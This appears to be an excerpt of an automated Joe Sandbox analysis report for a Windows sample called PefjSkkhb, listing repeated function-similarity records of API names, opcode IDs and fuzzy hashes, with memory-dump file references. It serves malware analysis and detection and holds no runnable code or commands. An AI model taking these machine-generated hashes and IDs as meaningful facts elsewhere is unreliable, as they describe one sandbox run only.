                                                                                                                                                                            • String ID: SysAnimate32
                                                                                                                                                                            • API String ID: 4146253029-1011021900
                                                                                                                                                                            • Opcode ID: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
                                                                                                                                                                            • Instruction ID: 6a7f70c8b68e6e70b62ba4adaef4a68fea9066306beda2da6f75ac2e828fc4a3
                                                                                                                                                                            • Opcode Fuzzy Hash: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
                                                                                                                                                                            • Instruction Fuzzy Hash: 78319C32A09781CAE7709F25E454B6E33A1FB86B80F5041B9DA5D87B88DF3CD844CB41
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                                            • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                                            • API String ID: 4061214504-1276376045
                                                                                                                                                                            • Opcode ID: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
                                                                                                                                                                            • Instruction ID: 83a1c0e586f6f91b83832637fbf9e753eb84201a8479563ab5a28934c6038283
                                                                                                                                                                            • Opcode Fuzzy Hash: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
                                                                                                                                                                            • Instruction Fuzzy Hash: 6AF0A475A19A4291EF64AF11E44437863A0EF89FD0F441079EA0FC265CCE3CD544DB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ErrorLasthtonsinet_ntoa
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2227131780-0
                                                                                                                                                                            • Opcode ID: 6d4788a4abc5ce2114f5ac25091d31e77d7f9f094256cfd739c645a6feeb5206
                                                                                                                                                                            • Instruction ID: c7a233a0979e016f97caf8b3dc75ff2e1eac7c2b75f63e96e28526881a170644
                                                                                                                                                                            • Opcode Fuzzy Hash: 6d4788a4abc5ce2114f5ac25091d31e77d7f9f094256cfd739c645a6feeb5206
                                                                                                                                                                            • Instruction Fuzzy Hash: E6A1C072A0868286EB30EF26D8546BE6791FF86BD4F444172DE5EC779ADE3CE5008704
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process$CloseCountersCurrentHandleOpen
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3488606520-0
                                                                                                                                                                            • Opcode ID: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
                                                                                                                                                                            • Instruction ID: 36bba7d4e6cbfd074e7708c207a09f36d4b03814181acf5f9d65c18137ee60aa
                                                                                                                                                                            • Opcode Fuzzy Hash: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
                                                                                                                                                                            • Instruction Fuzzy Hash: 3D817B32B0869286EB24DF22D4586AD37A1FB4AFD4F058176DE0D97B9ADF38E501C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3451389628-0
                                                                                                                                                                            • Opcode ID: adfb7868244c5e1d0bfc560eceff1a8588b273cb05b564dbeb42a9c501cb6717
                                                                                                                                                                            • Instruction ID: 68af14e999907736b8229bc6806871a40d4f13c5dd9667e97f4bfefa7ca9e933
                                                                                                                                                                            • Opcode Fuzzy Hash: adfb7868244c5e1d0bfc560eceff1a8588b273cb05b564dbeb42a9c501cb6717
                                                                                                                                                                            • Instruction Fuzzy Hash: DD712B72B08A468AEB20DF65D1913BC3770EF86B88F4185B1DA0D97B9ADF38D115C784
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3659116390-0
                                                                                                                                                                            • Opcode ID: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
                                                                                                                                                                            • Instruction ID: e964091e4169a989de69e92005bfc2aa831246364e47bb6a15d2c2570fc5d1ab
                                                                                                                                                                            • Opcode Fuzzy Hash: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
                                                                                                                                                                            • Instruction Fuzzy Hash: D3518D32A14A9189E720CF65E4843AC7BB0FB4ABD8F048175DE5E9BB99DF38D146C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Close$BuffCharConnectEnumOpenRegistryUpper
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3740051246-0
                                                                                                                                                                            • Opcode ID: bd38130d0a6c74a4fb364d1ff2c50e7e9d7a3923237d5797147a29dace5ff8d3
                                                                                                                                                                            • Instruction ID: 8e97ac84d88e041e14d1a6dcfa58fd03cc3b10555055ed57135ab8278443ccd6
                                                                                                                                                                            • Opcode Fuzzy Hash: bd38130d0a6c74a4fb364d1ff2c50e7e9d7a3923237d5797147a29dace5ff8d3
                                                                                                                                                                            • Instruction Fuzzy Hash: DE617C32A08A8685EB20DF65D4843BD6B60FF86BC4F5041B1EA4D87B6ADF7CD145CB84
                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697BDC2BF), ref: 00007FF697BDD176
                                                                                                                                                                            • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697BDC2BF), ref: 00007FF697BDD217
                                                                                                                                                                            • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697BDC2BF), ref: 00007FF697BDD236
                                                                                                                                                                            • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697BDC2BF), ref: 00007FF697BDD281
                                                                                                                                                                            • FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697BDC2BF), ref: 00007FF697BDD2A0
                                                                                                                                                                              • Part of subcall function 00007FF697B64120: WideCharToMultiByte.KERNEL32 ref: 00007FF697B64160
                                                                                                                                                                              • Part of subcall function 00007FF697B64120: WideCharToMultiByte.KERNEL32 ref: 00007FF697B6419C
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 666041331-0
                                                                                                                                                                            • Opcode ID: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
                                                                                                                                                                            • Instruction ID: 440d48b500a3daf3d2204e248abf81e2505e63bef70d8cb4d0e629260553c4d5
                                                                                                                                                                            • Opcode Fuzzy Hash: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
                                                                                                                                                                            • Instruction Fuzzy Hash: B1513776A04B1685EB20EF66D8902AC77B4FB9AFC4B564072DE5E83359EF38E441C304
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Variant$Clear$ChangeInitType
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4136290138-0
                                                                                                                                                                            • Opcode ID: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
                                                                                                                                                                            • Instruction ID: bfaa737701a2d9dc4fa4ad86a2f6bdf66d2c4903fbc1a5fac7278c9478e01e04
                                                                                                                                                                            • Opcode Fuzzy Hash: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
                                                                                                                                                                            • Instruction Fuzzy Hash: 37513277625A85D2DB20DF15D4987AD33B4FB94B84F428122CB8E83768EF39E558C701
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: PrivateProfile$SectionWrite$String
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2832842796-0
                                                                                                                                                                            • Opcode ID: 5ddcdf5be155bdd7fae183d3f61eaf0ee1945c0c2493d87505c57e9b0a69a627
                                                                                                                                                                            • Instruction ID: f16619cda185e67acb66e34a71ecd3749bf4909520153a33cda51a5877a35911
                                                                                                                                                                            • Opcode Fuzzy Hash: 5ddcdf5be155bdd7fae183d3f61eaf0ee1945c0c2493d87505c57e9b0a69a627
                                                                                                                                                                            • Instruction Fuzzy Hash: C4510C36618A4682EB24DF26E4902697760FB8AFD4F058472EF8E8776ACF3CD540C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AsyncState$ClientCursorScreen
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4210589936-0
                                                                                                                                                                            • Opcode ID: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
                                                                                                                                                                            • Instruction ID: 2a4bab5d5136504403591124f87242d47bc10e55c2c6b1b3bd2640b9263b9e4c
                                                                                                                                                                            • Opcode Fuzzy Hash: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
                                                                                                                                                                            • Instruction Fuzzy Hash: 7051CF76B096828BEBA8DF35D5406A977A0FB467D4F100271EA5A83BD9CF38E4918700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressProc
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 190572456-0
                                                                                                                                                                            • Opcode ID: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
                                                                                                                                                                            • Instruction ID: 8b82214e48b52118f4d8345c121a548a66ba685ffc5673763aa3980853598a90
                                                                                                                                                                            • Opcode Fuzzy Hash: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
                                                                                                                                                                            • Instruction Fuzzy Hash: 3641E231B09A0285FE359F16A8246B66391FF4ABD0F194575ED1ECBB8CEE3CE4018704
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$Show$Enable
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2939132127-0
                                                                                                                                                                            • Opcode ID: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
                                                                                                                                                                            • Instruction ID: dfd471f1b415347255eb11b820c26a389c7e8041c71eae1d472200dab12686c5
                                                                                                                                                                            • Opcode Fuzzy Hash: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
                                                                                                                                                                            • Instruction Fuzzy Hash: 1251613A90968AC5EB719F25D45467837A1EB86FC4F2840B2CA4D877A8CE3DE481E710
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessagePostSleep$RectWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3382505437-0
                                                                                                                                                                            • Opcode ID: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
                                                                                                                                                                            • Instruction ID: 52c74c197b4b8fe1560b055d24cadb8dcaa60af212eb8f4b606d8b7b7ab13122
                                                                                                                                                                            • Opcode Fuzzy Hash: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
                                                                                                                                                                            • Instruction Fuzzy Hash: C631D53A60864547E724DF69E44866973A1FB89BE8F410235EE9EC779CCE3CE8458700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Message$Translate$AcceleratorDispatchInputPeekState
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2256411358-0
                                                                                                                                                                            • Opcode ID: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
                                                                                                                                                                            • Instruction ID: 75d336774ff12418f401a79300b13d3a2e747c4e1625d66891662c12da0c2297
                                                                                                                                                                            • Opcode Fuzzy Hash: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
                                                                                                                                                                            • Instruction Fuzzy Hash: 7E415F32D0C68286FFB08F18A4597B926A0EF46BC5F9840F5D55EC71A9CE6DE4858702
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$BuffCharUpperVisibleWindowwcsstr
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2655805287-0
                                                                                                                                                                            • Opcode ID: c96b3dee558e0f0e55b53f66a4f3d4a9b731c61fc9f957ff27ab50b26f9f0e0c
                                                                                                                                                                            • Instruction ID: a9005ff6d98335ec7d31fb252bdd4313fce84465dae609076d425d4f0eb33945
                                                                                                                                                                            • Opcode Fuzzy Hash: c96b3dee558e0f0e55b53f66a4f3d4a9b731c61fc9f957ff27ab50b26f9f0e0c
                                                                                                                                                                            • Instruction Fuzzy Hash: E021F432B0978246EB24DF22A9442796790FF8AFE0F444571EE1EC7B99EE3CE5508300
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ObjectSelect$BeginCreatePath
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3225163088-0
                                                                                                                                                                            • Opcode ID: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
                                                                                                                                                                            • Instruction ID: 8819e062fb42eb4e347443b47078e62ab6d0d6a508f3964e6bcbe4d794c5fb9e
                                                                                                                                                                            • Opcode Fuzzy Hash: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
